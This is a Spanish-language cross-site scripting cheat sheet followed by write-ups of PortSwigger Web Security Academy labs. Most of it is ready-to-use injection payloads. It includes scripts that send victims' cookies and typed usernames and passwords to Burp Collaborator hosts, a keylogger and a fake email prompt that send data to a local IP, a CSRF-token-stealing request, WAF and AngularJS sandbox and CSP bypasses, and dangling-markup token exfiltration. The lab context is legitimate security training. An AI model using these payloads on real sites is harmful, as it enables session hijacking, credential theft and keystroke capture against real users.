XSS - PortSwigger

XSS CheetSheet

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Initial Payloads

  • Common JavaScript
<script>alert(1)</script>
<script>alert('XSS');</script>
<img src=0 onerror=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<a href="javascript:alert(1)">Test</a>
<svg><animatetransform onbegin=alert(1)</svg>
${alert(1)}

Special Functions

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=0 onerror=print()>'"></iframe>
autofocus tabindex=1 onfocus=alert(1)
tabindex=1 onfocus=alert(1) id=xss    // https://test.com/#xss
"onmouseover="alert(1)
eval('var searchResultsObj = ' + alert(1))
accesskey='x'onclick='alert(1)
  • AngularJS 1.4.4 evasion
toString().constructor.prototype.charAt=[].join;
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
  • AngularJS 1.4.4 CSP evasion
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
  • Encoding
HTML encode --> &apos;
HTML decimal --> &#39;
HTML hex --> &#x27;
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

Explotation Methods

  • Robo de cookies
<script>
var request = XMLHttpRequest();
request.open('GET','https://gtdnm8w84ckzue4nnih40u07oyurii67.oastify.com/?cookie='+document.cookie);
request.send();
</script>
<script>
fetch('https://gtdnm8w84ckzue4nnih40u07oyurii67.oastify.com/?cookie='+document.cookie);
</script>
<script>
fetch('https://gtdnm8w84ckzue4nnih40u07oyurii67.oastify.com/?cookie='+btoa(document.cookie));
</script>
  • Phishing
<input name=username id=username onchange="fetch('https://g2jnv858dctz3ednwiq49u97xy3vrlfa.oastify.com/?username='+this.value)"><br>
<input type=password name=password id=password onchange="fetch('https://g2jnv858dctz3ednwiq49u97xy3vrlfa.oastify.com/?password='+this.value)">
<script>
  var email = prompt("Por favor, introduce tu correo electrónico para visualizar el post", "example@example.com");

  if (email == null || email == ""){
    alert("Es necesario introducir un correo válido para visualizar el post");
  } else {
    fetch("http://192.168.1.144/?email=" + email);
  }
</script>
  • Keylogger
<script>
  var k = "";
  document.onkeypress = function(e){
    e = e || window.event;
    k += e.key;
    var i = new Image();
    i.src = "http://192.168.1.144/"+k;
  };  
</script>

JavaScript Special Functions

  • Version AngularJS
angular.version.full
  • Redirect
<script>
location="https://test.com"
</script>
<script>
window.location.href="http://192.168.1.144:80"
</script>
  • Petición por post
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials= true;
req1.send();

var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/html');
var token = doc.getElementsByName("_csrf_token")[0].value;

var req2 = new XMLHttpRequest();
var data= "title=HACKED&subtitle=HACKED&text=HACKED&_csrf_token="+token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials= true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);
<script>
window.onload = function() {
  var token = document.querySelector('input[name="csrf"]').value;
  
  var domain = "https://0ace00ae049f92cb8051bc93006f00a4.web-security-academy.net/my-account/change-email";
  
  var req = new XMLHttpRequest();
  var data = "email=test%40test.com&csrf=" + encodeURIComponent(token);
  req.open('POST', domain);
  req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  req.send(data);
};
</script>
  • Funciones flecha (Sin paréntesis)
<script>
a=a =>{throw onerror=alert,1},toString=a,window + 'test'
</script>
<script>
a=a =>{
throw onerror=alert,1;
};
toString=a;
window + 'test';
</script>

XSS reflejado en HTML sin codificación || Reflected XSS into HTML context with nothing encoded

XSS almacenado en HTML sin codificación || Stored XSS into HTML context with nothing encoded

Antes de probar una inyección XSS, podemos probar una etiqueta html, para ver que campo puede ser vulnerable, esto no asegura la inyección pero nos da una guía.

Al ser una inyección XSS almacenada, cada vez que un usuario entre al blog, ejecutará el código javascript.

  • Inyection
<script>alert(1)</script>

XSS DOM con ‘document.write’ y ‘location.search’ || DOM XSS in document.write sink using source location.search

function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
	trackSearch(query);
}   

Vemos que por detrás el servidor está inyectando en nuestro navegador una etiqueta img, alterando así el DOM de la web.

Vemos que cerrando las comillas y la etiqueta de img, podemos inyectar una etiqueta html en el DOM, la representación por detrás quedaría así:

document.write('<img src="/resources/images/tracker.gif?searchTerms="><h1>Testing</h1>
">');

  • Inyection
"><script>alert(1)</script>

XSS DOM con ‘innerHTML’ y ‘location.search’ || DOM XSS in innerHTML sink using source location.search

 function doSearchQuery(query) {
	 document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
	doSearchQuery(query);
}

Vemos que por detrás se está ejecutando la función innerHTML, la cual inserta nuestro input dentro del DOM. Esta función es parecida a la anterior document.write, solo que de manera menos forzosa, sin sobrescribir nada.

Al inyectar una etiqueta HTML vemos que se introduce en el DOM y lo muestra por pantalla, sabiendo esto, podemos probar a inyectar código javascript.

Vemos que la etiqueta script no funciona, sin embargo, podemos probar otras alternativas.

  • Inyection
<img src=0 onerror=alert(1)>

XSS DOM en ‘href’ con jQuery y ‘location.search’ || DOM XSS in jQuery anchor href attribute sink using location.search source

$(function() {
	$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});               

Esta función inserta en el atributo el valor de la función returnPath en la etiqueta que contenga el id ‘backLink’, es decir en el botón ‘Back’.

La etiqueta final quedaría tal que así:

<a id="backLink" href="javascript:alert(1)">Back</a>
  • Injection
javascript:alert(1)

XSS DOM con jQuery y evento ‘hashchange’ || DOM XSS in jQuery selector sink using a hashchange event

$(window).on('hashchange', function(){
  var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
    if (post) post.get(0).scrollIntoView();
});

Vamos ha desglosar parte por parte el script:

window.location.hash.slice(1)

La función window.location.hash.slice(1) devuelve el contenido del ‘#’ en la url.

$('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')'); 

En este caso el contenido del operador $() devuelve un objeto con la etiqueta h2.

Para ver cuando se ejecuta la función podemos poner una traza, la cual cada vez que se ejecuta la función nos muestra el mensaje “TESTING” en la consola.

Si probamos el selector jQuery en la consola, vemos que al inyectar un código javascript malicioso logramos la ejecución del mismo, esto se debe a que el selector jQuery crea un nodo temporal el cual genera una etiqueta html en el DOM.

Si inyectamos el código malicioso en la url después del hash logramos el XSS. Sin embargo, todavía no hemos logrado explotar la vulnerabilidad, ya que únicamente se ejecuta la función una vez se cambia la ruta después del hash.

Con la etiqueta ‘iframe’ podemos crear una réplica de la web, de esta forma podemos cargar una instrucción después de cargar la web.

De esta forma la víctima cargará la web y posteriormente introducirá la inyección después del hash.

  • Injection
<iframe src=https://0a3b009o0458243d802a764800a800ca.web-security-academy.net/# onload="this.src+='<img src=0 onerror=print()>'">

XSS reflejado en atributo con corchetes codificados || Reflected XSS into attribute with angle brackets HTML-encoded

Hemos logrado cerrar el atributo value, sin embargo, no hemos conseguido insertar una nueva etiqueta debido a la codificación de los símbolos <>.

Tenemos la capacidad de crear un nuevo atributo dentro de la etiqueta ‘input’.

Creamos dos nuevos atributos, onfocus ejecuta el código javascript y el autofocus ejecuta el atributo onfocus nada más cargar la página.

  • Injection
" autofocus onfocus=alert(1) //

XSS almacenado en ‘href’ con comillas codificadas || Stored XSS into anchor href attribute with double quotes HTML-encoded

Vemos que no existe ningún tipo de validación a la hora de meter una url.

  • Injection
javascript:alert(1)

XSS reflejado en string JS con corchetes codificados || Reflected XSS into a JavaScript string with angle brackets HTML encoded

var searchTerms = 'test'; 
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');             

Vemos que tenemos la capacidad de insertar contenido dentro de un script.

Tenemos varias formas de inyectar código malicioso:

var searchTerms = '';alert(1);//'; 
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');             
var searchTerms = '';alert(1);';'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');             
var searchTerms = '';alert(1); var test='test'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');             
  • Injection
';alert(1);//
';alert(1);';
';alert(1); var test='test

XSS DOM con ‘document.write’ dentro de ‘select’ || DOM XSS in document.write sink using source location.search inside a select element

var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if (store) {
    document.write('<option selected>' + store + '</option>');
}
for (var i = 0; i < stores.length; i++) {
    if (stores[i] === store) {
        continue;
    }
    document.write('<option>' + stores[i] + '</option>');
}
document.write('</select>');

Analizando el código vemos que tenemos control sobre la variable store, que es el resultado del parámetro storeId. La variable store es utilizada para insertar una etiqueta ‘option’ en el DOM.

Para controlar el parámetro storeId podemos añadirlo como parte de la url.

  • Injection
&storeId=<script>alert(1)</script>

XSS DOM en AngularJS con comillas codificadas || DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

Vemos que se está usando el framework de AngularJS

XSS DOM reflejado || Reflected DOM XSS

Vemos una función eval(), la cual puede llegar a ejecutar código javascript.

Interceptando la petición al ejecutar el script, vemos que tenemos el control del campo searchTerm, lo cual se vería así dentro de la función eval():

eval('var searchResultsObj = ' + '{"results":[],"searchTerm":"testing123"}')

Al intentar escapar de la query vemos que el servidor nos escapa las comillas.

De esta forma evitamos el bloque de las comillas.

La query final quedaría tal que así:

eval('var searchResultsObj = ' + '{"results" [],"searchTerm":"testing123\\"}+alert(1)//"}')
  • Injection
testing123\"}+alert(1)//

XSS DOM almacenado || Stored DOM XSS

Vemos que por detrás el servidor está empleando alguna sanetización sobre los símbolos <>, adémas vemos que se está ejecutando un script donde seguramente se emplee está sanetización.

Revisando el script vemos un error en la sanetización de los símbolos <>. La función replace() solo remplaza el primer match, para remplazar todo se debería de usar la función replaceAll().

Poniendo <> conseguimos saltar la sanetización e inyectar una nueva etiqueta en el DOM.

  • Injection
<><img src=0 onerror=alert(1)>

XSS reflejado en HTML con etiquetas bloqueadas || Reflected XSS into HTML context with most tags and attributes blocked

Vemos que existe un WAF, el cual bloquea algunas etiquetas.

Metiendo una etiqueta falsa podemos intuir que no se trata de un bloqueo de los símbolos <>, sino un bloqueo de algunas etiquetas.

La etiqueta ‘body’ no ha sido interceptada por el WAF, sabiendo esto, podemos implementar un evento dentro de la etiqueta.

Entre todas los eventos posibles el más factible es el evento ‘onresize’, el cual nos permite ejecutar código javascript despues de hacer un resize de pantalla.

Hemos logrado efectuar el XSS, sin embargo, el código javascript solo se ejecuta cuando hacemos zoom en la pantalla.

De esta forma cargamos un frame de la url con la inyección, una vez cargada la url hace un resize de la pantalla, ejecutando así el evento ‘onresize’.

  • Injection
<iframe src="https://0a3b009o0458243d802a764800a800ca.web-security-academy.net/?search=<body onresize=print()>" onload="this.style.width='100px'">

XSS reflejado con solo etiquetas personalizadas || Reflected XSS into HTML context with all tags blocked except custom ones

Igual que el laboratorio anterior, las etiquetas html están bloqueadas por un WAF.

Las etiquetas personalizadas están permitidas, sabiendo esto podemos inyectar algún evento.

Vemos que al hacer focus en la etiqueta test se establece el ataque XSS, para que esto sea automático para la víctima podemos hacerlo de dos formas:

  • Forma con autofocus

Parecido a cuando empleamos la etiqueta ‘iframe’, podemos rederigir directamente a la víctima hacia la url maliciosa.

  • Forma con id y hash

Al poner un id en la etiqueta podemos hacer ‘focus’ en ella usando un hash en la url.

  • Injection
<script>
location="https://0a3b009o0458243d802a764800a800ca.web-security-academy.net/?search=<test onfocus=alert(document.cookie) tabidex=1 id=test>#test"
</script>
<script>
location="https://0a3b009o0458243d802a764800a800ca.web-security-academy.net/?search=<test onfocus=alert(document.cookie) autofocus tabidex=1>"
</script>

XSS reflejado con etiquetas SVG permitidas || Reflected XSS with some SVG markup allowed

Igual que los anteriores laboratorios, también tenemos un bloqueo de etiquetas por parte de un WAF.

Viendo las etiquetas permitidas vemos que tenemos una vía potencial para realizar un XSS con las etiquetas ‘svg’ y ‘animatetransform’.

El único evento que pasa el bloqueo del WAF es ‘onbegin’, el cual permite ejecutar código javascript al realizar una animación.

Creando un ‘svg’ podemos ejecutar el código javascript con el evento ‘onbegin’, el cual es activado por la etiqueta ‘animatetransform’.

  • Injection
<svg><animatetransform onbegin=alert(1)</svg>

Vemos que tenemos el control dentro de la etiqueta ‘link’ cambiando la url principal.

Poniendo una comilla simple vemos que no está sanetizado y podemos escapar del atributo ‘href’, esto nos permite crear otro atributo.

Bindeamos un atajo que cuando sea pulsado ejecutará el evento ‘onclick’ con el código javascript.

  • Injection
?'accesskey='x'onclick='alert(1)

XSS en string JS con comilla y backslash escapados || Reflected XSS into a JavaScript string with single quote and backslash escaped

var searchTerms = 'testing123'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');                    

Vemos que tenemos control sobre una variable dentro de un script, podemos intentar escapar de las comillas y ejecutar código malicioso.

El servidor nos está escapando las comillas y las barras invertidas, sabiendo esto podemos probar otras alternativas.

De esta forma conseguimos cerrar la etiqueta ‘script’ y salir del contexto del string.

  • Injection
</script><script>alert(1)</script>

XSS en JS con comillas, corchetes y comilla escapada || Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

var searchTerms = 'testing123'; document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');                    

Mismo escenario que el laboratorio anterior, tenemos el input de una variable dentro de un script.

Con la barra invertida hemos conseguido escapar la comilla que cierra el string, además si nos fijamos el script no se ha ejecutado correctamente, ya que, la etiqueta ‘img’ que se creaba a partir del script no se ha creado correctamente.

  • Injection
\';alert(1);//

XSS almacenado en ‘onclick’ con codificación completa || Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

<a id="author" href="http://test.com" onclick="var tracker={track(){}};tracker.track('http://test.com');">Test</a>

Vemos que tenemos el control de la url dentro del atributo ‘onclick’.

Como la web nos está escapando las comillas simples y las barras invertidas, podemos interpretar la comilla simple con HTML encode. Podemos interpretarlas de tres formas:

HTML encode --> &apos;
HTML decimal --> &#39;
HTML hex --> &#x27;

<a id="author" href="http://test.com" onclick="var tracker={track(){}};tracker.track('http://test.com');alert(1);//')">test</a>
  • Injection
http://test.com&apos;);alert(1);//
http://test.com&#39;);alert(1);//
http://test.com&#x27;);alert(1);//

XSS en template literal con caracteres unicode escapados || Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

En este caso, tenemos el control de un string dentro de un template literal. Sabemos que es un template literal debido a las backtricks.

Cuando estemos dentro de un template literal podemos hacer uso del operador ${}.

  • Injection
${alert(1)}

Robo de cookies mediante XSS || Exploiting cross-site scripting to steal cookies

Primero detectamos la vulnerabilidad de stored XSS en los comentarios.

  • Injection
<script>
var request = XMLHttpRequest();
request.open('GET','https://gtdnm8w84ckzue4nnih40u07oyurii67.oastify.com/?cookie='+document.cookie);
request.send();
</script>

Captura de contraseñas mediante XSS || Exploiting cross-site scripting to capture passwords

  • Injection
<input name=username id=username onchange="fetch('https://g2jnv858dctz3ednwiq49u97xy3vrlfa.oastify.com/?username='+this.value)"><br>
<input type=password name=password id=password onchange="fetch('https://g2jnv858dctz3ednwiq49u97xy3vrlfa.oastify.com/?password='+this.value)">

Evasión de CSRF usando XSS || Exploiting XSS to bypass CSRF defenses

Para realizar la petición que cambia el correo de la cuenta necesitamos el token ‘csrf’ personal de cada usuario, este token se encuentra en la etiqueta ‘input’ la cual está oculta.

Para obtener el token podemos buscar por el valor de la etiqueta ‘input’ con el nombre ‘csrf’

La función ‘window.onload’ es necesaria debido a que si queremos obtener el token del DOM es necesario cargar primero la web.

  • Injection
<script>
window.onload = function() {
  var token = document.querySelector('input[name="csrf"]').value;
  
  var domain = "https://0ace00ae049f92cb8051bc93006f00a4.web-security-academy.net/my-account/change-email";
  
  var req = new XMLHttpRequest();
  var data = "email=test%40test.com&csrf=" + encodeURIComponent(token);
  req.open('POST', domain);
  req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  req.send(data);
};
</script>

Escape de sandbox AngularJS sin cadenas || Reflected XSS with AngularJS sandbox escape without strings

angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = 'testing123';
$scope.value = $parse(key)($scope.query);
});

Vamos a desglosar el script:

  1. Crea un módulo con el nombre ‘labApp’. Un módulo en AngularJS es un contenedor para agrupar componentes como controladores, servicios, etc. Su objetivo es organizar el código.
  2. Crea un controlador con el nombre ‘vulnCtrl’ con las dependencias $scope y $parse. Un controlador se usa para definir la lógica y el estado que usa la vista.
  3. $scope es el objeto compartido entre el controlador y la vista en el HTML. $parse es un servicio que convierte una cadena en una expresión Angular ejecutable.
  4. Crea un objeto vacío llamado query dentro del $scope.
  5. Se define la variable ‘key’ sacada del parámetro ‘search’.
  6. Crea el valor del objeto ‘query’, como resultado: {search : ‘testing123’}
  7. (PARTE VULNERABLE) Por útlimo, se utiliza la dependencia $parse sobre la clave del objeto ‘query’.

Antes de intentar insertar cualquier payload es necesario revisar la versión de AngularJS.

Al insertar un nuevo parámetro, se crea una nueva variable ‘key’.

toString().constructor.prototype.charAt=[].join;
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

Con este payload ofuscado y url-encodeado logramos que $parse ejecute esta instrucción.

El payload se divide en dos partes:

  1. “Deshabilita” la función ‘charAt’, la cual es utilizada internamente para evaluar si una carga es maliciosa.
  2. Aprovecha la función ‘orderBy’ para ejecutar una carga maliciosa obfuscada.
  • Injection
testing&toString().constructor.prototype.charAt=[].join;
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

Escape de sandbox AngularJS con CSP || Reflected XSS with AngularJS sandbox escape and CSP

Primero detectamos la versión de AngularJS

Vemos que nos interpreta las etiquetas HTML y las instrucciones de AngularJS, sin embargo, al intentar ejecutar código malicioso, la web no lo interpreta. Probablemente por detrás se esté empleando una política CSP.

Este payload crea un input con la directiva ‘ng-focus’ la cual ejecuta la función ‘$event.composedPath()’ la cual devuelve un array de varias etiquetas HTML. Gracias a este array podemos aplicarle el filtro ‘orderBy’ donde le pasamos la variable ‘z’ que ejecuta la instrucción ‘alert(1)’. Para ejecutar la directiva ‘ng-focus’ podemos crear un ‘id’ y hacer referencia con el hash ‘#x’ en la url.

  • Injection
<script>
location="https://0a8500a904fa3029801458f8003500af.web-security-academy.net/?search=%3Cinput+id%3Dx+ng-focus%3D%24event.composedPath%28%29%7CorderBy%3A%27%28z%3Dalert%29%281%29%27%3E#x"
</script>

XSS con eventos y atributos bloqueados || Reflected XSS with event handlers and href attributes blocked

Haciendo un poco de fuzzing podemos descubrir que etiquetas están permitidas.

  • Injection
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=150>Click</text></a></svg>

XSS en javascript: con caracteres limitados || Reflected XSS in a JavaScript URL with some characters blocked

<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=INPUT}).finally(_ => window.location = '/')">Back to Blog</a>

Nuestro input se encuentra dentro de un script con la función ‘fetch’.

Podemos insertar contenido usando el símbolo &, de esta forma evitamos tener que introducir un número entero.

<script>
a=a =>{
throw onerror=alert,1;
};
toString=a;
window + 'test';
</script>

Como los paréntesis están bloqueados, podemos crear la función de otra forma. Usando las funciones flecha crearmos la función la cual lanza una excepción con el evento ‘onerror’, este es lanzado automáticamente ejecutando el ‘alert’. Para llamar a la función podemos igualar la función interna de JavaScript ‘toString’ por nuestra función ‘a’. Para que se ejecute ‘toString’ podemos hacer una suma de la funcionalidad ‘window’ con el string ‘test’ que, internamente, JavaScript ejecutará la función ‘toString’ sobre ‘window’.

  • Injection
&'},a=a=>{throw onerror=alert,1},toString=a,window%2B'test'},{x:'

XSS con CSP estricto y marcado colgante || Reflected XSS protected by very strict CSP, with dangling markup attack

Conseguimos salir del contexto de la etiqueta ‘input’ cerrando las comillas y la etiqueta, sin embargo, la web no nos permite insertar código javascript debido a las múltiples restricciones.

1. default-src 'self' --> Solo permite cargar recursos del mismo origen.
2. object-src 'none' --> Bloquea completamente objectos embedidos como (<object>,<embed>,<applet>).
3. style-src 'self' --> Bloquea CSS externo o inline.
4. script-src 'self' --> Bloquea scripts inline, eval y de terceros.
5. img-src 'self' --> Solo permite imágenes del mismo dominio.
6. base-uri 'none' --> Impide el uso del elemento <base>.

?email="></form><form class="login-form" name="change-email-form" action="https://vyxelfzsnsdxwspp1uvn17mz2q8jw9ky.oastify.com?token=csrf.value" method="GET"><button class="button" type="submit">Click Me</button>

Con el burp collaborator podemos recibir el token csrf obtenido en el campo oculto de la víctima.

  • Injection
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a70008803dc8be481317f6900c8009f.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker&#64;evil&#45;user&#46;net" />
      <input type="hidden" name="csrf" value="Wf8AVh0EmxklTPuHIwGbuwXTyaX2EDsY" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

XSS con CSP y técnica de bypass || Reflected XSS protected by CSP, with CSP bypass

Vemos que en la cabecera del CSP existe la política ‘report-url’, la cual su función es enviar informes automáticos al servidor. En este caso esta petición se está efectuando con el parámetro ‘token’.

En este punto, tenemos el control sobre la cabecera CSP, para explotarlo simplemente tendríamos que añadir alguna política adicional que nos permita ejecutar código javascript.

  • Injection
<script>alert(1)</script>&token=test;script-src-elem 'unsafe-inline'